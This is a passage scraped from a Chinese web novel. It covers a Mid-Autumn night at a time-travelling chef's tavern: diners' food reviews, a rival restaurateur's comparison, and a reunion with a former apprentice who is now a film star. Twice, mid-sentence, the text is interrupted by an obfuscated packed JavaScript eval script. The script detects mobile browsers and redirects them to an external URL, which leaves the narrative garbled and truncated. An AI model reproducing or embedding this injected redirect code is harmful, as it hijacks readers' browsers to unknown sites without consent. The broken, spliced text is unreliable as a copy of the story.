那虾肉在汤里炖煮过，同时浸染了鸡汤的香和虾肉的鲜，而且嚼起来肉质饱满，口感弹牙。 “好好好！”宋老爷子应着，夹起煎蛋咬了一口。 煎蛋的边缘煎成了褐色，嚼起来还有微脆的口感，外圈的蛋白都已经煎得膨化起来。 而因为这煎蛋刚从汤里捞出，连汤带水的，满是汤底的鲜咸味道。 “这鸡蛋比肉香！”宋老爷子喉咙里“嗯”地惊奇了一声，随后俯下身，贴着碗沿喝了一口汤。 纯正老母鸡慢炖出来的汤，融入了鸡皮油脂的鲜肥，虾黄炒制后，同虾肉一起炖煮后的鲜味，也融入其中。 这一口，简直集合了海与陆的精华，鲜得老爷子舌头直打颤。 “这汤，单独作为汤品也是妙不可言呐。”宋老爷子说着，叫来林若雪拿了空碗和勺子，给元老太太也盛了一碗品鉴。 元老太太盛了一勺，送到嘴边优雅细品，每喝一口都连连抿嘴，生怕错过一滴精华，喝了一半，她凑到宋老爷子耳边小声道：“我怎么觉得这汤比小言厨师做得好？” “我也觉得。”宋老爷子压低声音笑了，“首先这个食材选得就好，炖汤的肉再瘦一点儿就不香，再肥一点儿又油了，汤面上汪汪都是油花，这个火候和食材都很有水准。” “所以怪不得这个小江老板能当言亦轩师父呢，肯定是手艺更精进。”宋老爷子呵呵一笑，捞出碗里的蔬菜，先开开胃。 西红柿微酸，激活了味蕾，小青菜的叶子最能裹汤汁，一口下去润喉止渴，木耳丝和笋丝脆生生的，而那瘦肉块，腌得很到位，内里是猪肉咸香，外面是汤汁的莹润。 配菜吃得差不多，宋老爷子准备吃面了。 “来，这次你再帮我记个时。”宋老爷子找出面的一端，夹起来准备好了往嘴里送。 “行，3、2、1，开始！”元老太太显然已经有经验了，拿起手机点了计时器。 宋老爷子咬住面条一端，“呼呼噜噜”往嘴里唆，面条在舌头上滑过，晶莹的汁水留在口中，香味四溢。 面条在口中滑溜溜的感觉，也让嗦面这个动作越来越停不下来。 不过宋老爷子的肺活量毕竟有限，计时快到一分钟的时候，他的气已经泄了大半，一分二十秒的时候，宋老爷子坚持不住，咬断了面。 这一口面柔韧地咬断，细细咀嚼，又弹又筋道，面从外到内都非常入味，吸满了汤汁，咀嚼间仿佛给舌头做按摩一样舒适。 “几秒几秒？”宋老爷子激动地问道。 “唔......80.6秒。破纪录了！”元老太太左手停止计时，右手也没闲着，拿着筷子已经夹了好几口不同的菜，此时嘴里也在不停咀嚼。 避风塘炒虾辣味过瘾，面包糠颗粒细碎捻破；冬瓜清润多汁；牛蹄筋软糯喷香...... 本以为那一口长寿面的鲜汤足够别致，没想到只是个开始。 “破记录就行！那我放心吃了。”有了江云枫刚才的铺垫，宋老爷子也不拘泥于一口吃完面条，直接大口开嚼。 软弹的面伴随着汤汁，在口中慢慢破碎，鲜爽滑嫩，回味无穷。 林若雪跟着江云枫这些天，越来越会察言观色，见宋老爷子面碗上有“生日快乐”四个字，她把一个灯谜单独拿出来，放在竹筒所有纸条的最上面，确保老爷子能抽到。 待到宋老爷子和元老太太吃得告一段落，她端着竹筒走过去，告诉了两人答对灯谜可以得到花灯的活动。 “这么有意思呢，来抽一个。”宋老爷子伸手进竹筒，捏了一个梅花便签，打开来，眯着眼睛念出来，“一撇划了三寸长，打一字。” “这什么？”宋老爷子用手指在手心划了一撇，默念了半天，元老太太在旁边看着他，笑呵呵的，皱纹里都带着和蔼。 “这样动脑子的活动，我可想不明白，你来你来，你聪明着呢。”宋老爷子摇摇头，让元老太太猜。 “这个打一字，是不是【寿】呢？”元老太太心中早有了答案。 “没错！回答正确！祝您身体安康，福寿绵长！”林若雪小幅度热烈鼓掌，而后拿了花灯样式图给两位老人选。 “要这个吧，你觉得呢？”宋老爷子指着其中一个花鸟灯，转头问元老太太。 “我觉得都好看，目不暇接！寿星喜欢就好！”元老太太捂着嘴笑呵呵的。 林若雪从靠着厨房边的箱子里，拿出木板状的花灯，稍一用力，直接撑开成了圆形花灯，内有精巧的木制机关撑着，非常牢固。 中间的电子蜡烛一点亮，一只长尾巴鸟的影子落在灯壁上，连羽毛的层次感都栩栩如生，而那灯壁上本就花团锦簇，两者结合更是好看了。 “这灯也太精致了！我活这么大岁数，还是第一次见这么好看的花灯，好啊好啊。”宋老爷子左右摇晃花灯，玩得不亦乐乎。 “现在年轻人的玩意，可新鲜了，个个都不重样的。”元老太太瞧着那精致的影子，赏心悦目。 - “言亦轩这老小子，根本不知道他在想什么，炒菜炒得正有名气呢，跨叉，跑去做什么美食博主了，美食博主做大做强了，跨叉，又去一个小馆子当厨师了，真搞不懂。”焦元铭站在江家小酒馆门前排队，讲话中气十足，听着很激动。 “你不也是想到什么干什么吗？你见哪个厨师染个奶奶灰的。”徐润清挽着他的胳膊，语气很平静，“再说了，这么大声说话吓着孩子。” “好好好，不说了。”焦元铭尴尬地一抓一头灰毛，低头看了眼自家才五岁的女儿糖糖，见她一直捂着嘴低头，有些慌张地蹲下来，“糖糖，你怎么了？” “临出门前牙掉了，好没面子！”糖糖迅速把捂着嘴的双手拿开，缺了一颗门牙看着很滑稽，只一秒，她就立刻恢复捂嘴，头顶扎的两个小啾啾左摇右晃的。 “没门牙的老太太哈哈哈哈哈！”焦元铭放声大笑，徐润清皱着眉头推了他一下，他才反应过来周围一群人看着，收敛了笑容。 “我不是没牙老太太！你才是你才是！”糖糖立刻不高兴了，嘟嘟囔囔反驳。 她一直生闷气，直到坐进店内的座位，在林若雪那里猜对了一个灯谜。 拿到花灯的一瞬间，糖糖心情立刻好起来了：“哇......好漂亮啊！” 金鱼灯笼尾巴甚至可以顺滑摆动，那橙红色的光倒映在她清澈的大眼睛里，亮闪闪的。 “先别玩了，咱们先吃饭，好不好？”焦元铭戳戳她的肩膀。 “不行，我还要玩！”糖糖哼哼唧唧，肩膀躲闪。 “你那样说不行。”徐润清挑挑眉，一副“还得看我的”表情，“糖糖，这家饭馆做菜的人， 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“哈哈哈哈哈，你这小孩标准挺别致啊，先吃再说吧！”徐润清嗔笑着点了点她的额头，惹得糖糖咯咯笑。 “那我先吃这个......辣辣田螺！”糖糖左手捏住螺壳，右手拿牙签插住螺肉，一转，螺肉就被完整拧下。 她一口把螺肉吃下，辣辣的味道瞬间在口腔蔓延，嚼上两下，虽然螺肉像是橡皮糖一样软弹，可辣味反而更加浓郁了。 “嘶——啊！好辣！辣晕我了！”糖糖大口吸气，整个脸辣得像熟透的番茄一样红，惊叹出了怒音。 “赶紧喝口牛奶。”徐润清早就想到了这个情况，点好了牛奶，给糖糖倒了一杯。 近乎常温的牛奶，有舒缓的安抚作用，入口之后，浇灭了灼热的辣意，醇香的味道在口中蔓延。 “瞧瞧，这做菜的叔叔坏吧，给你弄这么辣。”焦元铭在一旁煽风点火，“盘子里吃不完的田螺夹给我。” “一点！也不！辣！”糖糖刚缓过劲儿，护住盘子，“非常好吃！不准抢我的饭！” “哎你这小孩......”焦元铭有点失落。 糖糖把田螺一个接一个往嘴里塞，唆出螺肉和辣汁，然后把螺壳从嘴里夹出来。 又香又辣的味道让她整个脸都麻麻的，额头也辣出了汗，可越吃越爽，辣到撑不住，就赶紧喝几口牛奶，吃一会儿停下来擦擦鼻涕。 “这家店的田螺，比爸爸做的好吃！”糖糖宣布道。 “勉强同意吧。”焦元铭也唆着田螺。 他作为厨师，能尝出鲜辣味道的层次感，带着活泛的辣，来自青红线椒；带着灼热感的辣，来自辣椒面；还有什么花椒油、胡椒粉之类的调味。 一口接着一口，吃这田螺确实香得停不下来。 “这田螺完全能当成追剧小零食吃啊，一口一个，香香辣辣，也不塞牙。”徐润清不断唆着辣汁，表示肯定。 糖糖不管他们说什么，又夹起一块羊方藏鱼，咬了一大口，不过她嘴很小，这“一大口”也只让羊方藏鱼受了点轻伤。 外层羊肉鲜嫩肥美，内层鱼肉焦香微碎，一大口肉塞满口腔的感觉，幸福感爆棚，每嚼一下，都有鲜香的鱼肉和羊肉汁渗出，还混合了甘蔗少许清润的微甜。 “这家的羊肉......鱼肉......反正就是鱼羊肉，做的比爸爸好吃！”糖糖再度宣判。 “什么？你难道不爱爸爸了吗？”焦元铭大为震惊，也夹了一块羊方藏鱼，吃了一口，只剩下沉默不语。 “这个，我好像只是实话实说诶。”糖糖呲着牙挠挠脑门，笑得咯咯的。 “这位爸爸自尊心受到了打击呀。”徐润清在一旁嘲笑。 “我不信样样都好吃！闺女你尝这个大闸蟹，你爸我最擅长做螃蟹，我不信这家的螃蟹比我做得好吃！”焦元铭又激动起来，掰下一只硕大的蟹钳。 两手一捏，蟹钳的壳碎裂，一大块雪白的蟹肉露出来，焦元铭把这一只大蟹钳，递给了糖糖。 44. 蘸料大闸蟹 “好肥的螃蟹！”糖糖满眼都是那白花花的蟹肉，她接过蟹钳，感觉比想象中更加沉甸甸的。 糖糖咬了一大口，那蟹肉鲜嫩而饱满，蟹香味很足，虽然是清蒸出来的，并不咸，但有股很浓的米酒香气。 这一口，是最本真的蟹香味。 “别忘了蘸料汁。”徐润清把大闸蟹附赠的调好的蘸料碟，往她面前推了推。 “不蘸料汁也很香呀。”糖糖的小牙咀嚼着，蟹肉逐渐破碎成肉糜。 “不腥吗？”焦元铭表情一滞。 “不腥啊，香香的，还有股......应该是米酒的香味吧。”糖糖吃完一口，又去蘸料汁。 半透明的棕色料汁，一碰到雪白的蟹肉，瞬间丝丝缕缕氤氲到肉里，将那肉也染上一抹棕色，更加诱人。 糖糖再吃一口，表情更是惊喜。料汁有酱油的香，也有米醋的微酸、蚝油的鲜味，让这一口香香的蟹肉，味道更加增色，层次丰富多彩。 焦元铭惊呆了，因为清蒸大闸蟹要去腥，就必定损失风味，要想保留蟹香，就很难完全除腥，除非用料汁掩盖。 他以为糖糖是太久没吃大闸蟹了，由于饥饿，选择性忽视了腥味，于是自己剥开一条螃蟹腿，夹起蟹肉直接吃下。 “竟然真不腥？！”焦元铭震惊了，细细品味着，米酒的香气缠绕着蟹香，粮食的馥郁味道和河鲜的香味融合，竟有种说不出的融洽，他还尝出了少许黄酒味。 “能想到用酒除腥增味，用量还这么拿捏恰当，这可不是一般水平啊。”焦元铭咽下蟹肉，香味仍然在口中蔓延。 他以为这螃蟹是言亦轩做的，可抬头望向厨房，发现捆螃蟹上锅蒸的，还有调好两种酒以及调料放在下层笼屉的，都是江云枫。 “这年轻人不简单。”焦元铭咂舌，转头一看，盘子里的大闸蟹已经少了一半，“咦我螃蟹呢？” “在我们俩嘴里咯咯咯咯咯咯咯！”糖糖呲着牙偷乐，缺了一颗的小牙很有喜感。 因为焦元铭很擅长做螃蟹，糖糖吃得多了，吃螃蟹也很有一手。 短短的手指揭开橙红色的螃蟹盖，两指揪掉蟹腮、蟹味、蟹牙等等不能吃的地方，剩下蟹盖像是小碗，盛着的都是能吃的蟹黄和蟹肉。 糖糖用勺子把料汁舀进蟹碗，等那棕色的料汁从上到下缓缓流淌，渗透进蟹肉里，用筷子扒拉着大口吃。 软嫩的蟹肉染上酱的香与咸鲜，醋微微的酸味，更加开胃，也让蟹香味道更加上头。 蟹黄本就绵密流油，蘸了料汁之后，咸味、油气都有了，抿在舌头上很快就化开，如同蛋黄般的香气让人嚼个不停。 徐润清也吃得不亦乐乎，她拆了螃蟹的小腿，从螃蟹大腿一侧扎进去，那蟹大腿肉一大条都被挤压出来，在料汁里来回蘸过，直接送入口中。 没壳没刺，直接吃掉的感觉非常轻松。 “你们母女俩动作也太快了！等等我啊！”焦元铭第一次感觉到，跟人抢着吃东西比自己吃还香、还刺激，他赶紧拿起一个螃蟹，快速剥蟹。 遇到坚硬的蟹壳，他直接用后槽牙咬，而那蟹壳本就蒸透了，稍用力就“咔吧”一声碎裂开，吃着很方便。 两个螃蟹下肚，焦元铭满口蟹香与酒香，虽有酒气却并不是真的喝到了酒，即便如此，他还是感觉到一股如痴如醉的微醺，开始佩服江云枫的手艺。 “这家的大闸蟹，做得也比爸爸好吃。”糖糖吃得满脸蟹肉渣，举手宣布。 “好了好了不要比了，我甘愿认输！”焦元铭觉得再这么说下去，一桌子菜都被糖糖夸奖一遍，他会很没面子的。 不过说实话，焦元铭确实觉得，这一桌子菜做得都比他做得好。 比如这饺子，竟然是孜然羊肉馅的，从未想过的组合，却无比好吃，一咬就爆汁，那孜然香混合着羊肉汁，在舌头上滑动，简直香得要人命！ 比如这春饼，软软弹弹又筋道，裹上什么都好吃，面香四溢。 比如这牛蹄筋，炖得软烂，有的糯叽叽的，有的筋还脆生生的，每一寸都入味，每嚼一下都是人间享受。 即使是脆皮豆腐方、珊瑚白菜这样的素菜，也做得让人口舌生津，吃惯了肉的人也离不开这一口。 ...... 焦元铭扪心自问，虽然他当厨师也有十二年了，自认为做菜功底扎实，炒、炸、炖、蒸、煮没有短板。 可面对这一桌子菜的功力，他自知差得还远，哪一道菜的色香味、层次感都差上一截。 焦元铭看向厨房，江云枫正随意又迅速地切着胡萝卜，闪着寒光的刀锋过处，胡萝卜听话地变成一毫米的细丝。 切完后，她甚至把刀在手中转了两圈，才放在案板上，掀起来的风让她耳边的发丝扬了扬。 “恐怖如斯！”焦元铭见这面容二十多岁的人，竟然如此沉稳利落，喃喃出声。 “说我吗？”言亦轩嘴角一扬，厚着脸皮领了表扬。 焦元铭一滞，认清眼前人，笑着捶了他肩膀一拳：“去你的，你哪有那个江老板恐怖如斯啊。” “说的也是，还是江老板更牛。”言亦轩稍加思索，和他达成共识。 言亦轩跟徐润清点头打了招呼，又伸手指指焦元铭的头发：“几年不见，还染了灰毛啊。” “什么灰毛，这叫潮流好不好！”焦元铭自恋地捋着发型。 “叔叔，这不叫灰毛，这叫奶奶灰。”糖糖一边吃东西，一边插嘴，惹得徐润清发笑。 “小朋友，奶奶灰是什么？”言亦轩撑着膝盖弯下腰，逗糖糖。 “意思就是爸爸想变成奶奶......呃......奶奶的姐妹？......也不对......”糖糖把自己绕迷糊了。 “哈哈哈哈哈......”三个大人一同笑了起来。 “我本来想着，你来这小酒馆是放下身段了，现在尝了这一桌子菜，我觉得你高攀了。”焦元铭伸出食指比划着。 “你也知道我向来挑剔，主动选的地方，肯定有过人之处的，就比如我师父，一顶一的厉害，在我这么多年厨师生涯里，没见过更厉害的人了。”言亦轩越夸越来劲。 焦元铭以前和言亦轩在一个饭店工作时，经常跟他贫嘴，可这些话，焦元铭却很是认同，无从反驳。 “你现在怎么样？”言亦轩问道。 “你走之后，咱们店生意大不如前，老板也慢慢的越来越抠门，工作量上去了，薪资反而下来了，我忍到前几天，这才刚辞职。”焦元铭摇头，随后一个念头一闪，他压低了声音。 “诶，我偷偷问你下，你们店招不招人啊？” “我们要搬新店，过几天会招人，不过我可没法保你进店，你得发挥出自己的实力，让老板看到，才会用你。”言亦轩讲话仍旧不客气。 “嗨呀，小瞧我！”焦元铭挑眉，“我可不要你的担保，只要你们老板招人，我肯定能让你们老板满意，信不信？” “不信，除非你到时候证明给我看。”言亦轩嗤笑一声，徐润清和糖糖也被逗笑了。 “你小子等着！”焦元铭燃起来了，整个一顿饭都在思考，怎么样变成强者，加入这个充满强者的小饭馆。 - 寻味园的余老板，本打算中秋节到江家小酒馆吃饭，才走到附近巷子，竟看到排满了人，一问都是来江家小酒馆吃饭的。 “这不得排到明天早上啊？太夸张了吧！” 余老板不满地晃荡着手里的珠串，最后决定找外卖骑手代买，自己打道回府。 八点雇的骑手，快十点才送到，更可气的是，外卖骑手把饭菜递给余老板时，手里还拿着卷好的春饼。 外卖骑手咬了一口春饼，大嚼着，对余老板竖起大拇指：“点这家的饭菜，有品位！” 余老板简直要气疯了。 不过他冷静下来，还是觉得不到店吃比较妥当，毕竟言亦轩认识他。 而且言亦轩嘴很毒，舔一下嘴唇可以被他自己毒死的程度，要是当场被言亦轩嘲讽了，余老板怕自己以后每个中秋节都闷闷不乐。 “才开了一个多月，菜式还挺多。”余老板一一打开饭盒盖子，仿佛投下一个个香味炸.弹，各种食物的愉悦气息飘出来，甚至有不少食客转头看他。 余老板换了个位置，背对着这些食客，虽然不爽，却他还是必须承认这些饭菜很香。 “正好可以对比一下。”余老板点的菜，都是寻味园也有的，他已经率先让厨师做好了一份。 江家小酒馆的饭菜放左边一列，寻味园的饭菜放右边一列，他要一一对比，到底有什么不同。 “先从酱牛肉开始，酱牛肉可是我们店的招牌。”余老板自信满满地夹了一块左边的酱牛肉。 琥珀色的酱牛肉，入口紧实又鲜嫩，嚼起来不费力也不塞牙，每嚼一下，牛肉香味都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14980731|158240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伴随着汤汁溢出，连那内部的筋，都软软的很有嚼劲。 “嗯？”余老板吃完一块，难以自抑地渗出好多口水，明显感觉到这酱牛肉比自家做的更好吃。 可他仍自欺欺人地夹了块自家的酱牛肉。 寻味园的酱牛肉，虽然也很紧实，但是炖煮时间不够，太硬了，而且内层不够入味，吃到中间感觉不咸也不香了。 “这......这应该是肉切得太大块，炖的时间不够长，失误了。”余老板哄着自己镇定下来，又伸筷子夹了三杯鸡。 他特意要的椒麻一点的三杯鸡，这鸡肉入口，舌尖微麻，激活味蕾而不过分影响口感，鸡皮鲜嫩，牙齿轻咬一撕扯就破。 肉块嫩滑而多汁，有恰到好处的酒香和甜味，酱油也很浓厚。 余老板吃完沉默半晌，又夹起自家的三杯鸡，那寻味园的三杯鸡吃起来死气沉沉的，远没有江家小酒馆的鸡肉口感活泛、层次丰富。 “估计是用冻肉的原因，下次换新鲜的食材。”余老板继续安慰自己，拿起一个大闸蟹，拆了蟹壳和不能吃的部分，剥下一块蟹肉，蘸了料汁，送入口中。 蟹肉刚碰到舌头，余老板就知道这料汁就算蘸鞋底也好吃，酱香到位却不会掩盖蟹香，醋的酸香更加开胃。 而那蟹肉更绝，不仅鲜软到满口喷香，还有米酒气味，更加增色。 “这......这......”余老板简直没信心吃自家的螃蟹了，他做了好久的心理准备，才胡乱拆了一只自家的螃蟹。 即使蘸了料汁，寻味园的螃蟹还是难掩腥味，主要就是靠料汁才撑起的口感。 “这可不行啊，还有二十多天，江家小酒馆就搬过来了。”余老板心里危机感爆棚，背上出了冷汗。 他不安地转动着大拇指上的扳指，紧皱的眉头让脸上的皱纹更深，眼睛咕噜噜地转着：“得赶紧想想对策。” - 一整个中秋夜，江家小酒馆门前可以说是人山人海。 不止小酒馆门前，甚至曲折的巷子内，站满了排队的人。 天上银白的圆月格外明亮，屋内高低错落的花灯，打出朦胧的暖光。 一道道热菜上桌，冒着白色热气，食客们筷子来来回回，碰杯声、攀谈声热热闹闹，猜谜的紧张感、领到花灯的惊喜之声，在大堂内蔓延。 不少拿到花灯的小孩子，提着各样的花灯，在店门前奔跑，在夜色中，那各式各样精致的花灯，将光影洒落在地上，美得像是博物馆内的艺术品。 厨房内成堆的食材不断被消耗完，花灯一个个被送出直到空箱，店内的热闹一直持续到十一点半，才终于消停。 屋内只剩下零星食客在吃东西，江云枫招呼李博鸿和林若雪先回家。 两人之前拿到了顶几个月工资的大红包，即使忙到现在，还很累，也心甘情愿。两人跟江云枫和言亦轩打过招呼后便走了。 “正好快到子时，可以进行江家小酒馆的保留项目了。”江云枫看了眼时间，眼神示意言亦轩，他立刻懂了。 大梁的中秋夜，江家小酒馆一般营业到后半夜，不过转点前后是两拨伙计倒班，不会太累。 子时打更后，江云枫就会带着几个徒弟和亲近的朋友，到后院拜月、煮茶、玩投壶，算是庆祝中秋的自留项目。 言亦轩和江云枫对视一眼，从店内搬出张桌子，对着月亮的位置放好，拿来抹布擦了三遍。 摆上新鲜的石榴、橙子、葡萄等水果。拿来大的圆盘，各色糕点在盘中垒成小山，还有绑了绳子的大闸蟹、一大碗炒田螺，一一放好。 各色食物陈列好后，江云枫在桌子中间摆上事先准备好的香炉，擦了根火柴，点燃三支香。 江云枫抬头望月，那银白的月亮镶嵌在深蓝的天空中，洒下的月光透亮如薄纱。 她恭恭敬敬地握着香，言亦轩在她左后方，以同样的姿势抱拳。 “愿月神保佑江家小酒馆繁荣兴旺，保佑江家小酒馆的员工、食客喜乐健康、阖家团圆。”江云枫顿了顿，“也保佑我曾认识的亲朋好友，不论在这青天之下的何处，都能幸福安康。” 江云枫说完，对着月亮深深三拜，言亦轩也同样深深作揖三次，随后，她把三支香插进了香炉中。 刚要转身，江云枫忽然听到背后传来一个熟悉的女声，灵动的声线还夹杂着笑意。 “师父，拜月不能不带我啊。” 45. 山泉煎茶 那熟悉的声音，仿佛穿越时空而来。 江云枫恍惚了，呼吸一滞，转过身，那人用黑色棒球帽和黑口罩遮住了大半的脸，一身黑衣更是差点隐在月色中。 即使如此隐藏身份，江云枫还是从她的身形和声音，辨别出了那是宁映葵。 “师父你还记得我吗？”宁映葵试探地摘下口罩。 经过了十年的光阴，再看到宁映葵熟悉的脸，江云枫眼前瞬间泛起雾气，她眯起眼睛笑着，掩饰泪意：“谁都不记得了，也肯定会记得你的。” “？”言亦轩在一旁欲言又止。 宁映葵本来还有点怕江云枫和言亦轩并非前世之人，可看到两人眼神都变了，确认自己没有找错。 环顾四周，最后的食客也都离开了，她放心地摘下口罩和帽子，一头黑色卷发柔顺地弹开在她的肩膀上，笑起来露出的兔子牙可可爱爱。 宁映葵小跑两步，扑过来抱住江云枫：“师父！我好想你啊呜呜呜！” “我也很想你，看到你当大明星了，我们俩还以为以后都联系不上你了，没想到真的还能有缘再相聚。”江云枫拍拍她的背，心中无限感慨。 “我也找了你好久，还以为见不到了......在网上刷到月饼礼盒，才发现江家小酒馆又开起来了，想着今天你们可能会拜月，等人都走了我才来的。”宁映葵放开江云枫，用手背擦着眼泪。 “师父，这个穿越时空太神奇了，你是什么时候来的啊？” 江云枫大概讲了她和言亦轩的情况。 “半天了不跟我讲一句话，你不想师兄？”言亦轩看着她俩贴贴半天，终于问出口。 宁映葵抱着胳膊冲他撇嘴：“呵呵，不想。我都是大明星了，不信你没在电视上看到我。你又比师父早穿越过来这么多年，竟然都不带找我的。” “我给你发私信了好吧。”言亦轩也抱起胳膊。 “我不看私信。”宁映葵打开手机后台，给言亦轩和江云枫看，“私信根本看不过来啊。” 后台9999+的私信，满屏幕都是红点，宁映葵点了一下“全部已读”，还没几秒钟，私信又99+了。 “好吧，我还给你发了电子邮件。”言亦轩再次理直气壮。 “邮箱被经纪人管着，你这陌生邮件估计直接转垃圾站了。”宁映葵摊手。 “影后太红了，我这个小美食博主高攀不起。”言亦轩开起玩笑。 “放屁！” 宁映葵近乎本能地伸腿踢言亦轩的小腿，言亦轩人还没反应过来，肌肉记忆已经带动身体，一闪身，她踢了个空。 “哎呀，这么多年了，还是这么默契。”江云枫在一旁看戏，笑着摇头。 往日两人经常这样叽叽喳喳打闹、互损，江云枫以前觉得吵，现在倒觉得是种温馨的热闹。 两人听到江云枫的调侃，尴尬一瞬。 宁映葵清清嗓子：“小美食博主，我早就刷到你了，也给你发私信了好吧，你也不回。” “我也不看私信。”言亦轩突然释怀了，鼻息间发出轻笑。 “师父你看他！双标！”宁映葵拖长了声音，请江云枫评理。 “好了好了，不要吵了，我还是比较相信命运安排的，咱们三个能在这个中秋节团聚，就是最好的安排。”江云枫语气柔软下来，视线落在宁映葵身上。 宁映葵蓬松的卷发透出冷艳又迷人的气质，原本妆容也是同种风格，不过刚才激动地落泪哭花了眼妆，更显得眼神清澈，和江云枫印象中往昔的单纯形象逐渐重合。 她笑起来，整齐的兔子牙还在，只不过不再是肉肉的娃娃脸了。 “你瘦了不少。”江云枫从上到下打量她，简直瘦了一圈。 “做演员做明星都太苦了，为了上镜好看，平时都不敢多吃几口，经纪人每天盯着，偷吃都不行。当然了，这也是赚得多应该付出的。”宁映葵绝望地叉腰，肚子很应景地“咕噜”一声，“师父~~~我没吃晚饭，好饿啊，想吃你做的饭饭！” “饭饭~”言亦轩在一旁捏着嗓子学她。 “哼。”宁映葵朝他撇嘴。 “行啊，锅里还有不少你爱吃的辣炒田螺，还有你师兄做的糕点。”江云枫思索着今天还有哪些菜有富余。 三人一同进店，言亦轩默不作声走在前面，去厨房开火，帮宁映葵热饭。 宁映葵洗了手，反正在熟悉的人面前也没什么顾忌的，索性从包里拿出卸妆水，把脸上花了的妆全卸干净。 坐在桌边等了会儿，言亦轩把热好的辣炒田螺、牛蹄筋、蟹黄面、金沙玉米一一端上桌。 江云枫将大闸蟹回笼蒸热、装盘。盛了糕点，又洗了各种水果，摆在她面前。 “太丰盛了。”宁映葵扫视着满桌的好饭好菜，目不暇接，激动地搓着手，根本选不出来先吃哪个，索性左右开弓每个一口。 夹两个辣炒田螺入口，“滋儿滋儿”唆上两下，螺肉划了一条直线，直冲上颚，所过之处，都是热乎乎的辣意。 螺肉鲜嫩，每嚼一下，辣汁更是涌出。 “斯哈——馋了好久终于吃到这个味道了！”宁映葵低头吐螺壳，右手的筷子也没闲着，夹起面连卷了五下。 那已经拌好的蟹黄面，每一根细细的面条上，都包裹了蟹肉、蟹黄和肉汁，被这连着卷的动作，在筷子上缠绕了一大团，宁映葵直接把这一大团面塞进嘴里。 肉汁丰沛，这一口格外多汁，蟹的鲜味和软嫩留在口中，面的筋道与爽滑，越嚼越香，怎么嚼都嚼不够。 “好吃......太好吃了......”宁映葵香得眯起眼睛，要掉眼泪，“没有江家小酒馆的十年，我吃的什么破烂呀！” 说完这句，宁映葵往嘴里填了一整块龙井茶糕，糯叽叽的外皮奶香味很足，咬开来的内馅充满龙井茶香，没嚼几下，现在舌头上融化没了。 一整块点心一下子吃完，她感觉有点干，伸手向一旁江云枫已经洗好的葡萄。 那葡萄是上好的品种，每个直径比一元硬币还大，颗颗葡萄拥挤在一起几乎没有缝隙，宁映葵摘下两颗，依次塞进嘴里。 嘴唇一抿，葡萄皮裂开小口，一整颗圆滚滚的葡萄，咬开爆出丰沛的甜汁，很是解渴。 牛蹄筋糯叽叽下肚，金沙玉米在口中爆汁，大闸蟹被她利落拆开，吃得一丝肉都不剩...... 江云枫和言亦轩坐在她对面，看她吃得满脸食物残渣，鼓着腮帮子大嚼大咽，惊呆了。 “你是不是这么多年没怎么吃饱过？”言亦轩清清嗓子，谨慎提问。 “唉，差不多吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“烫吗？我觉得还好。”言亦轩吹了两下，贴着碗边，浅尝了一口最表面的茶汤。 山泉水比普通的水，添上一抹似有若无的甘甜，变成粉末的茶半融在了水里，又被热水激发香气。 这一口，浓郁的茶香直达口腔，带走了劳碌一天的疲惫，也让他神清气爽起来。 “天呐，无情铁嘴。”宁映葵震惊地吐槽，更加大力地吹茶，又用勺子搅搅搅，终于等到茶水由烫变得温热，喝了一大口。 茶香抵达鼻尖，深吸入肺，整个人都变得清爽，香味到达舌尖，冲淡了她刚才吃过的各种香味，人也变得平静。 慢慢细品，茶的微苦停留在舌头上，并不让人感到难受，反而有种奇妙的安心感。 “真好，味道还像以前一样。”宁映葵幽幽叹了口气。 江云枫也品了口茶，含了一会儿才慢慢咽下，满口都是残留的茶香。 她转头看宁映葵：“我看你在娱乐圈已经闯出了一片天地，那么年轻就拿了影后，但怎么觉得你不是很开心。” “确实不是很开心。”宁映葵苦笑着，清澈的眼神变得复杂起来，又喝了两口茶，她转头看江云枫，“要不要听一些关于我的八卦？”